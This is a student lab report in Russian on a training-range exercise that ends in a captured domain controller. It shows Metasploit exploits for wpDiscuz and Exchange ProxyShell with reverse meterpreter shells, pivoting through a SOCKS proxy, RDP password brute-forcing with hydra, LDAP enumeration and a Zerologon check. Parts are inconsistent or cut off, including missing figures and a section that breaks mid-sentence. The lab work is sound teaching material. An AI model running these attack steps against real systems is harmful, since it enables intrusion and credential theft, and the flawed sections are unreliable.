

Отчет по лабораторной работе №5-В «ЗАХВАТ КОНТРОЛЛЕРА ДОМЕНА»

Кибербезопасность предприятия

Александрова У.В., Волгин И.А., Голощапов Я.В.,
Дворкина Е.В., Серегина И.А.

Содержание

1	Цель работы	4
2	Задание	5
3	Выполнение лабораторной работы	6
3.1	Описание сценария	6
3.2	Описание сценария	9
3.3	Способы получения флага	11
4	Выводы	21
	Список литературы	22

Список иллюстраций

3.1	Результат сканирования сети	7
3.2	Добавление записи в файл /etc/hosts	7
3.3	Добавление записи в файл /etc/hosts	7
3.4	Выбранный модуль (use 0)	8
3.5	Параметры модуля	8
3.6	Установка значений параметров для атаки	9
3.7	Параметры модуля wr_wpdiscuz_unauthenticated_file_upload	9
3.8	Настройка и запуск meterpreter-сессии с корпоративным сайтом с помощью модуля wr_wpdiscuz_unauthenticated_file_upload	9
3.9	Параметры модуля exchange_proxysql_rce	10
3.10	Настройка и запуск meterpreter-сессии с почтовым сервером с помощью exchange_proxysql_rce	10
3.11	Вывод команды для узла не в домене	10
3.12	Вывод команды для узла под управлением контроллера домена	11
3.13	Информация о meterpreter-сессии, создание и запуск повышенной сессии	11
3.14	Маршрут до внутренней сети	12
3.15	Настройки модуля Multi Gather Ping Sweep и arp-таблица	13
3.16	Сведения о добавлении маршрута	13
3.17	Маршрут сканирования	14
3.18	Параметры в конфигурационном файле /etc/proxychains4.conf	14
3.19	Настройка и запуск модуля	15
3.20	Настройка и запуск модуля	15
3.21	Результаты сканирования	16
3.22	Запуск атаки перебором	16
3.23	Использование команды ldapsearch	17
3.24	Получение флага	17
3.25	Проверка машины контроллера домена	17
3.26	Дамп хешей учетных записей	18
3.27	Получение сессии с контроллером домена	18
3.28	Переход в shell-оболочку	19
3.29	Получение флага	19
3.30	Переход в shell-оболочку	20
3.31	Получение флага	20

1 Цель работы

Целью данной лабораторной работы является освоение практических навыков установления meterpreter-сессии и получение доступа к контроллеру домена.

2 Задание

- Получить доступ к контроллеру домена

3 Выполнение лабораторной работы

3.1 Описание сценария

Во внутреннем сегменте организации необходимо получить доступ к контроллеру домена. У доменного пользователя «Flag», в одном из полей свойств пользователя необходимо найти флаг.

3.1.1 Получение meterpreter-сессии

Перед началом атаки провести разведку путем сканирования. На основе исходных данных определить адрес подсети, в которой находится целевой сервер – 195.239.174.0/24. Для обнаружения уязвимых узлов используется сканер nmap – это инструмент сканирования сетей, который позволяет настраивать сканирование с помощью передаваемых через командную строку флагов (рис. 3.1). Применяемые флаги: -sV – проверяет открытые порты для определения информации о службе/версии; -sC – производит сканирование скриптов.

```
File Actions Edit View Help
(reduser1@kali)-[~]
└─$ su
Password:
(root@kali)-[/home/reduser1]
└─$ nmap -sV -sC 195.239.174.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-25 00:36 MSK
Nmap scan report for 195.239.174.1
Host is up (0.00074s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
25/tcp    open  smtp      Microsoft Exchange smtpd
| smtp-commands: mail.ampire.corp Hello [195.239.174.11], SIZE 37748736, PIPELINING, DSN, ENHANCEDSTATUSCODES
|, STARTTLS, X-ANONYMOUSTLS, AUTH NTLM, X-EXPS GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, XRDST
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
|_ ssl-date: 2025-11-24T18:37:40+00:00; -2h59m59s from scanner time.
|_ smtp-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ ssl-cert: Subject: commonName=mail
| Subject Alternative Name: DNS:mail, DNS:mail.ampire.corp
|_ Not valid before: 2019-06-04T23:05:05
|_ Not valid after: 2024-06-04T23:05:05
443/tcp   open  ssl/http  Microsoft IIS httpd 10.0
|_ ssl-date: 2025-11-24T18:37:41+00:00; -2h59m59s from scanner time.
|_ http-server-header: Microsoft-IIS/10.0
|_ http-title: Outlook
|_ Requested resource was https://195.239.174.1/owa/auth/logon.aspx?url=https%3a%2f%2f195.239.174.1%2fowa%2f6r
eason=0
|_ ssl-cert: Subject: commonName=mail
| Subject Alternative Name: DNS:mail, DNS:mail.ampire.corp
|_ Not valid before: 2019-06-04T23:05:05
|_ Not valid after: 2024-06-04T23:05:05
|_ tls-alpn:
|   h2
|_ http/1.1
```

Рисунок 3.1: Результат сканирования сети

В результате сканирования обнаружено, что сервер с адресом 195.239.174.25 содержит открытый 80 порт (http), на котором располагается веб-портал portal.ampire.corp. Для перехода на сайт портала организации необходимо добавить статическую запись в файл /etc/hosts (рис. 3.2), (рис. 3.3).

```
(root@kali)-[/home/reduser1]
└─$ nano /etc/hosts
```

Рисунок 3.2: Добавление записи в файл /etc/hosts

```
GNU nano 8.2 /etc/hosts *
127.0.0.1    localhost
127.0.1.1    kali
195.239.174.25 portal.ampire.corp
# The following lines are desirable for IPv6 capable hosts
::1          localhost ip6-localhost ip6-loopback
ff02::1      ip6-allnodes
ff02::2      ip6-allrouters
195.239.174.125 puppet
```

Рисунок 3.3: Добавление записи в файл /etc/hosts

Уязвимость, связанная с данным плагином, заключается в возможности загрузки

произвольного файла на сервер с последующим удаленным выполнением произвольного кода (RCE). Плагин разработан таким образом, чтобы разрешать пользователям прикреплять к сообщениям только изображения, но уязвимые версии WpDiscuz не могут корректно проверить тип прикрепляемых файлов, в результате чего пользователи получают возможность загружать на сервер файлы любого типа, включая файлы PHP. Для эксплуатации данной уязвимости потребуется только адрес атакуемой машины и ссылка на любой пост с возможностью комментирования.

Используем модуль `exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload` (рис. 3.4).

```
msf6 > search wp_wpdiscuz_unauthenticated_file_upload

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Descrip
-  -                                     -              -      -      -
0  exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload  2020-02-21      excellent Yes     WordPre
ss wpDiscuz Unauthenticated File Upload Vulnerability

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload
```

Рисунок 3.4: Выбранный модуль (use 0)

С помощью команды `options` можно посмотреть доступные параметры для данного модуля (рис. 3.5).

```
msf6 > use 0
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/webapp/wp_wpdiscuz_unauthenticated_file_upload) > options

Module options (exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload):

  Name      Current Setting  Required  Description
  ---      -
BLOGPATH    /index.php/2020/12/12/post1  yes       Link to the post [/index.php/2020/12/12/post1]
Proxies     no                no        A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: socks5, socks5h, http, sapn1, socks4
RHOSTS      yes              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT       80               yes       The target port (TCP)
SSL         false            no        Negotiate SSL/TLS for outgoing connections
TARGETURI   /                yes       The base path to the wordpress application
VHOST       no               no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
LHOST      10.10.10.10      yes       The listen address (an interface may be specified)
LPORT      4444             yes       The listen port
```

Рисунок 3.5: Параметры модуля

Устанавливаем значения параметров для атаки (рис. 3.6).


```
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set rhosts 195.239.174.25
rhosts => 195.239.174.25
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set blogpath http://portal.ampire.corp/index.php/2021/07/26/hello-world/
blogpath => http://portal.ampire.corp/index.php/2021/07/26/hello-world/
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set blogpath /index.php/2021/07/26/hello-world/
blogpath => /index.php/2021/07/26/hello-world/
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set lhost 195.239.174.25
lhost => 195.239.174.25
```

Рисунок 3.6: Установка значений параметров для атаки

3.2 Описание сценария

Для прохождения данного сценария в первую очередь потребуется активная meterpreter-сессия с узлом в сегменте DMZ. Вариант получения meterpreter-сессии с корпоративным сайтом с помощью модуля `wp_wpdiscuz_unauthenticated_file_upload` представлен на скриншотах (рис. 3.7), (рис. 3.8).

```
msf6 > use 0
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > options

Module options (exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload):
```

Name	Current Setting	Required	Description
BLOGPATH		yes	Link to the post [/index.php/2020/12/12/post1]
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, http, sapni, socks4
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	/	yes	The base path to the wordpress application
VHOST		no	HTTP server virtual host

```

Payload options (php/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     4444             yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

```

Рисунок 3.7: Параметры модуля `wp_wpdiscuz_unauthenticated_file_upload`

```
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set rhosts 195.239.174.25
rhosts => 195.239.174.25
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set blogpath http://portal.ampire.corp/index.php/2021/07/26/hello-world/
blogpath => http://portal.ampire.corp/index.php/2021/07/26/hello-world/
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set blogpath /index.php/2021/07/26/hello-world/
blogpath => /index.php/2021/07/26/hello-world/
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set lhost 195.239.174.25
lhost => 195.239.174.25
```

Рисунок 3.8: Настройка и запуск meterpreter-сессии с корпоративным сайтом с помощью модуля `wp_wpdiscuz_unauthenticated_file_upload`

Вариант получения meterpreter-сессии с почтовым сервером с помощью модуля `exchange_proxyshell_rce` представлен на скриншотах (рис. 3.9), (рис. 3.10).

```
msf6 exploit(windows/http/exchange_proxyshell_rce) > options
Module options (exploit/windows/http/exchange_proxyshell_rce):
```

Name	Current Setting	Required	Description
EMAIL		no	A known email address for this organization
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, http, sapn1, socks4
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	443	yes	The target port (TCP)
SSL	true	no	Negotiate SSL/TLS for outgoing connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)
UseAlternatePath	false	yes	Use the IIS root dir as alternate path
VHOST		no	HTTP server virtual host

When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwrequest,psh_invokewebrequest,ftp_http:

Name	Current Setting	Required	Description
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Рисунок 3.9: Параметры модуля exchange_proxyshell_rce

```
msf6 exploit(windows/http/exchange_proxyshell_rce) > set lhost 195.239.174.11
lhost => 195.239.174.11
msf6 exploit(windows/http/exchange_proxyshell_rce) > set rhost 195.239.174.1
rhost => 195.239.174.1
msf6 exploit(windows/http/exchange_proxyshell_rce) > run
[*] Started reverse TCP handler on 195.239.174.11:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target is vulnerable.
[*] Attempt to exploit for CVE-2021-34473
[*] Retrieving backend FQDN over RPC request
[*] Internal server name: mail.ampire.corp
[*] Enumerating valid email addresses and searching for one that either has the 'Mailbox Import Export' role or can se
lf-assign it
[*] Enumerated 7 email addresses
[*] Saved mailbox and email address data to: /root/.msf4/loot/20251127154708_default_195.239.174.1_ad.exchange.mail_36
3556.txt
[*] Successfully assigned the 'Mailbox Import Export' role
[*] Proceeding with SID: S-1-5-21-2023689943-296390216-3142847124-500 (Administrator@ampire.corp)
[*] Saving a draft email with subject 't7230ZP5egp2' containing the attachment with the embedded webshell
[*] Writing to: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\fn3TPqoYxAo.aspx
[*] Waiting for the export request to complete...
[*] The mailbox export request has completed
[*] Triggering the payload
[*] Sending stage (203846 bytes) to 195.239.174.1
[*] Deleted C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\fn3TPqoYxAo.aspx
[*] Meterpreter session 1 opened (195.239.174.11:4444 => 195.239.174.1:37655) at 2025-11-27 15:47:22 +0300
[*] Removing the mailbox export request
[*] Removing the draft email
```

Рисунок 3.10: Настройка и запуск meterpreter-сессии с почтовым сервером с помощью exchange_proxyshell_rce

После получения сессии нужно проверить, находится ли эксплуатируемый узел в домене. Проверка выполняется с помощью команды sysinfo, которую нужно вводить в активную meterpreter-сессию (рис. 3.11), (рис. 3.12).

```
meterpreter > sysinfo
Computer      : portal
OS           : Linux portal 4.15.0-173-generic #182-Ubuntu SMP Fri Mar 18 15:53:46 UTC 2022 x86_64
Meterpreter  : php/linux
meterpreter >
```

Рисунок 3.11: Вывод команды для узла не в домене

```
meterpreter > sysinfo
Computer      : MAIL
OS            : Windows Server 2016 (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain       : AMPIRE
Logged On Users : 16
Meterpreter   : x64/windows
meterpreter >
```

Рисунок 3.12: Вывод команды для узла под управлением контроллера домена

Можно свернуть активную сессию с помощью команды background (или bg) и просмотреть список активных сессий с помощью команды sessions (рис. 3.13).

```
msf6 exploit(multi/webapp/wp_updiscur_unauthenticated_file_upload) > sessions

Active sessions

  Id  Name  Type  Information  Connection
  --  --  --  --  --
  1    meterpreter php/linux www-data @ portal 195.239.174.11:4444 → 195.239.174.25:35076 (195.239.174.25)

msf6 exploit(multi/webapp/wp_updiscur_unauthenticated_file_upload) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] SESSION may not be compatible with this module:
[*] * missing Meterpreter features: stdapi_railgun_api
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 195.239.174.11:4433
[*] Command stager progress: 100.00% (773/773 bytes)

[*] Sending stage (1017704 bytes) to 195.239.174.25
msf6 exploit(multi/webapp/wp_updiscur_unauthenticated_file_upload) > [*] Meterpreter session 2 opened (195.239.174.11:4433 → 195.239.174.25:56578) at 2025-11-25 01:06:59 +0300
[*] Stopping exploit/multi/handler
msf6 exploit(multi/webapp/wp_updiscur_unauthenticated_file_upload) > sessions 2
[*] Starting interaction with 2...
```

Рисунок 3.13: Информация о meterpreter-сессии, создание и запуск повышенной сессии

В случае получения сессии с корпоративным сайтом (модуль wordpress) для успешного выполнения дальнейших операций с атакуемой машиной необходимо повысить текущую сессию (рис. 3.13).

3.3 Способы получения флага

3.3.1 Доступ во внутреннюю сеть через узел не в домене

Данный подраздел описывает процесс получения флага через узел, который не находится под управлением контроллера домена. В первую очередь необходимо

узнать, какие интерфейсы имеются на машине во внутренней сети, поиск выполняется в shell-оболочке с помощью команды `ip a` (рис. 3.14).

```
meterpreter > shell
Process 5976 created.
Channel 1 created.
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:00:00:7e:1b:bf brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.25/24 brd 10.10.10.255 scope global ens3
        valid_lft forever preferred_lft forever
    inet6 fe80::ff:fe7e:1bbf/64 scope link
        valid_lft forever preferred_lft forever
```

Рисунок 3.14: Маршрут до внутренней сети

Для продолжения атаки необходимо просканировать все доступные хосты во внутренней сети с помощью модуля Multi Gather Ping Sweep. Произойдет сканирование внутренней сети организации и будут найдены все доступные хосты. Далее можно посмотреть ARP-таблицу на атакуемой машине с помощью команды `arp` в meterpreter-сессии (рис. 3.15).

```
meterpreter > run post/multi/gather/ping_sweep RHOSTS=10.10.10.0/24
[*] Performing ping sweep for IP range 10.10.10.0/24
[+] 10.10.10.5 host found
[+] 10.10.10.10 host found
[+] 10.10.10.15 host found
[+] 10.10.10.20 host found
[+] 10.10.10.21 host found
[+] 10.10.10.25 host found
[+] 10.10.10.30 host found
[+] 10.10.10.35 host found
[+] 10.10.10.45 host found
[+] 10.10.10.40 host found
[+] 10.10.10.55 host found
[+] 10.10.10.254 host found
meterpreter > arp

ARP cache

  IP address  MAC address  Interface
  ---
  10.10.10.5   02:00:00:7e:1b:c1  ens3
  10.10.10.10  02:00:00:7e:1b:c2  ens3
  10.10.10.15  02:00:00:7e:1b:be  ens3
  10.10.10.20  02:00:00:7e:1b:bd  ens3
  10.10.10.21  02:00:00:7e:1b:c5  ens3
  10.10.10.30  02:00:00:7e:1b:c3  ens3
  10.10.10.35  02:00:00:7e:1b:c4  ens3
  10.10.10.40  02:00:00:7e:1b:bb  ens3
  10.10.10.45  02:00:00:7e:1b:c7  ens3
  10.10.10.55  02:00:00:7e:1b:c0  ens3
  10.10.10.254 02:00:00:7e:1b:bc  ens3
```

Рисунок 3.15: Настройки модуля Multi Gather Ping Sweep и arp-таблица

Поскольку целевой адрес атакуемого узла находится во внутренней подсети организации, то необходимо прописать маршрут до активной meterpreter-сессии. Далее выполнить проброс портов во внутреннюю сеть для дальнейшего выполнения команд через технику прохучains. (рис. 3.16).

```
meterpreter > run autoroute -s 10.10.10.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [ ... ]
[*] Adding a route to 10.10.10.0/255.255.255.0 ...
[+] Added route to 10.10.10.0/255.255.255.0 via 195.239.174.25
[*] Use the -p option to list all active routes
```

Рисунок 3.16: Сведения о добавлении маршрута

С помощью команды route print можно посмотреть активные маршруты в рамках текущей сессии (рис. 3.17).

```
msf6 exploit(unix/webapp/wp_updiscuz_unauthenticated_file_upload) > search ping_sweep
Matching Modules


| # | Name                         | Disclosure Date | Rank   | Check | Description             |
|---|------------------------------|-----------------|--------|-------|-------------------------|
| 0 | post/multi/gather/ping_sweep | .               | normal | No    | Multi Gather Ping Sweep |


Interact with a module by name or index. For example info 0, use 0 or use post/multi/gather/ping_sweep
msf6 exploit(unix/webapp/wp_updiscuz_unauthenticated_file_upload) > use 0
msf6 post(multi/gather/ping_sweep) > route print
IPv4 Active Routing Table


| Subnet     | Netmask       | Gateway   |
|------------|---------------|-----------|
| 10.10.10.0 | 255.255.255.0 | Session 2 |


[*] There are currently no IPv6 routes defined.
```

Рисунок 3.17: Маршрут сканирования

Далее необходимо просканировать доступные хосты во внутренней подсети на наличие открытых портов с использованием модуля nmap. Так как сканируемые машины находятся во внутренней сети, то в первую очередь необходимо настроить прокси, через который будут проходить все запросы при сканировании. Для этого нужно применить и настроить модуль metasploit auxiliary/server/socks_proxy.

Основные параметры указанного модуля должны совпадать с конфигурационным файлом /etc/proxychains4.conf. Смотрим содержимое файла с помощью команды cat /etc/proxychains4.conf (рис. 3.18).

```
# * raw: The traffic is simply forwarded to
the proxy without modification.
# ( auth types supported: "basic"-http "use
r/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwhile
# defaults set to "tor"
socks5 127.0.0.1 1080
```

Рисунок 3.18: Параметры в конфигурационном файле /etc/proxychains4.conf

Возвращаемся к окну терминала с активной сессией и сворачиваем данную сессию с помощью команды bg, выбираем, настраиваем и запускаем модуль socks_proxy (рис. 3.19), (рис. 3.20).


```

msf6 post(multi/gather/ping_sweep) > search socks_proxy

Matching Modules



| # | Name                         | Disclosure Date | Rank   | Check | Description        |
|---|------------------------------|-----------------|--------|-------|--------------------|
| 0 | auxiliary/server/socks_proxy | .               | normal | No    | SOCKS Proxy Server |



Interact with a module by name or index. For example info 0, use 0 or use auxiliary/server/socks_proxy

msf6 post(multi/gather/ping_sweep) > use 0
msf6 auxiliary(server/socks_proxy) > set srvhost 127.0.0.1
srvhost => 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set srvport 1080
srvport => 1080
msf6 auxiliary(server/socks_proxy) > set version 5
version => 5

```

Рисунок 3.19: Настройка и запуск модуля

```

Module options (auxiliary/server/socks_proxy):



| Name    | Current Setting | Required | Description                                                                                                                           |
|---------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| SRVHOST | 127.0.0.1       | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT | 1080            | yes      | The port to listen on                                                                                                                 |
| VERSION | 5               | yes      | The SOCKS version to use (Accepted: 4a, 5)                                                                                            |



When VERSION is 5:



| Name     | Current Setting | Required | Description                        |
|----------|-----------------|----------|------------------------------------|
| PASSWORD |                 | no       | Proxy password for SOCKS5 listener |
| USERNAME |                 | no       | Proxy username for SOCKS5 listener |



Auxiliary action:



| Name  | Description              |
|-------|--------------------------|
| Proxy | Run a SOCKS proxy server |



View the full module info with the info, or info -d command.

msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 1.
[*] Starting the SOCKS proxy server

```

Рисунок 3.20: Настройка и запуск модуля

В окне терминала, где просматривался файл /etc/proxychains.conf, можно запустить сканирование 100 самых часто используемых портов с помощью команды proxychains nmap -n -sT -Pn -top-ports 100 {IP}.

```
Nmap scan report for 10.10.10.5
Host is up (0.047s latency).
Not shown: 94 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
```

Рисунок 3.21: Результаты сканирования

3.3.1.1 Bruteforce пароля и использование ldapsearch

В результате сканирования сети (рис. 3.21) будет получен список открытых портов. На узле обнаружен открытый порт 3389, который по умолчанию используется для подключения по протоколу RDP. Можно использовать указанный порт для доступа к контроллеру домена.

Можно реализовать атаку перебором с использованием словаря паролей rockyou.txt, который находится по пути /usr/share/wordlists/. Запустить утилиту hydra, используя электронную почту для связи с менеджером, с помощью команды proxchains hydra -V -f -l manager1@ampire.corp -P rockyou.txt rdp://10.10.10.20 (рис. 3.22).

```
[root@kali:~]# /home/reduser1
[*] proxchains hydra -V -f -l manager1@ampire.corp -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.20
[proxchains] config file found: /etc/proxchains4.conf
[proxchains] preloading /usr/lib64/ld-linux-gnu/libproxchains.so.4
[proxchains] dll init: proxchains-ng 4.17
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for
illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-25 01:49:23
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W
```

Рисунок 3.22: Запуск атаки перебором

Так как флаг находится в описании одного из доменных пользователей, то для получения флага не обязательно получать сессию с контроллером домена. Вывести информацию о всех доменных пользователях можно с помощью команды proxchains ldapsearch -H ldap://10.10.10.20 -D «manager1@ampire.corp» -W -b «dc=ampire,dc=corp» (рис. 3.23).

Данные учетной записи получены при атаке перебором. В результатах найти параметр description (рис. 3.24).

```
root@kali: ~/home/reduser1
root@kali:~/home/reduser1# proxychains ldapsearch -H ldap://10.10.10.20 -D "manager1@ampire.corp" -w -b "dc=ampire,dc=corp" > ldap_output.txt
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Enter LDAP Password:
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.10.20:389 ... OK
```

Рисунок 3.23: Использование команды ldapsearch

```
# Flag, Users, ampire.corp
dn: CN=Flag,CN=Users,DC=ampire,DC=corp
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Flag
description: 54283
```

Рисунок 3.24: Получение флага

3.3.1.2 Zerologon CVE 2020-1472

Дополнительный возможный вектор атаки на контроллер домена заключается в эксплуатации уязвимости Zerologon. Для проверки подверженности узла данной уязвимости можно использовать утилиту crackmapexec. В результате выполнения команды proxychains crackmapexec smb 10.10.10.20 -M zerologon можно узнать Net-BIOS name атакуемой машины, в данном случае – это AD (рис. 3.25).

```
root@kali: ~/home/reduser1
root@kali:~/home/reduser1# nano /usr/lib/python3/dist-packages/cme/modules/zerologon.py
root@kali:~/home/reduser1# proxychains crackmapexec smb 10.10.10.20 -M zerologon
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.10.20:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.10.20:135 ... OK
smb 10.10.10.20 445 AD [*] Windows Server 2016 Standard 14393 x64 (name:AD) (domain:ampire.corp) (signing:True) (SMBv1:True)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.10.20:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.10.20:445 ... OK
Zerologon ... 10.10.10.20 445 AD Next step: https://github.com/dirkjanm/CVE-2020-1472
```

Рисунок 3.25: Проверка машины контроллера домена

Далее для получения дампа хешей учетных записей контроллера домена можно


```
meterpreter > shell
Process 1292 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>net user/domain
net user/domain
The syntax of this command is:

NET
[ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
  HELPMMSG | LOCALGROUP | PAUSE | SESSION | SHARE | START |
  STATISTICS | STOP | TIME | USE | USER | VIEW ]

C:\Windows\system32>net user /domain
net user /domain

User accounts for \\

$431000-8GT0TKF97VJ7 Administrator DefaultAccount
dev1 dev2 Flag
Guest HealthMailbox014a1a5 HealthMailbox21699d8
```

Рисунок 3.28: Переход в shell-оболочку

С помощью команды `net user /domain Flag` вывести полную информацию о пользователе «Flag». В результате будет получен флаг в поле описания пользователя (рис. 3.29).

```
C:\Windows\system32>net user /domain Flag
net user /domain Flag
User name Flag
Full Name Flag
Comment 54283
User's comment
```

Рисунок 3.29: Получение флага

3.3.2 Доступ во внутреннюю сеть через доменный узел

Данный подраздел описывает процесс получения флага через узел, который находится под управлением контроллера домена. В данном случае получить флаг можно с использованием команды `net user`, для чего в активной meterpreter-сессии перейти в shell-оболочку с помощью команды `shell` (рис. 3.30).

```
meterpreter > shell
Process 1292 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>net user/domain
net user/domain
The syntax of this command is:

NET
[ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
  HELPMMSG | LOCALGROUP | PAUSE | SESSION | SHARE | START |
  STATISTICS | STOP | TIME | USE | USER | VIEW ]

C:\Windows\system32>net user /domain
net user /domain

User accounts for \\

$431000-8GT0TKF97VJ7 Administrator DefaultAccount
dev1 dev2 Flag
Guest HealthMailbox014a1a5 HealthMailbox21699d8
```

Рисунок 3.30: Переход в shell-оболочку

С помощью команды `net user /domain Flag` вывести полную информацию о пользователе «Flag». В результате будет получен флаг в поле описания пользователя (рис. 3.31).

```
C:\Windows\system32>net user /domain Flag
net user /domain Flag
User name Flag
Full Name Flag
Comment 54283
User's comment
```

Рисунок 3.31: Получение флага

4 Выводы

В ходе лабораторной работы были успешно получены практические навыки установления meterpreter-сессии и получения доступа к контроллеру домена.

Список литературы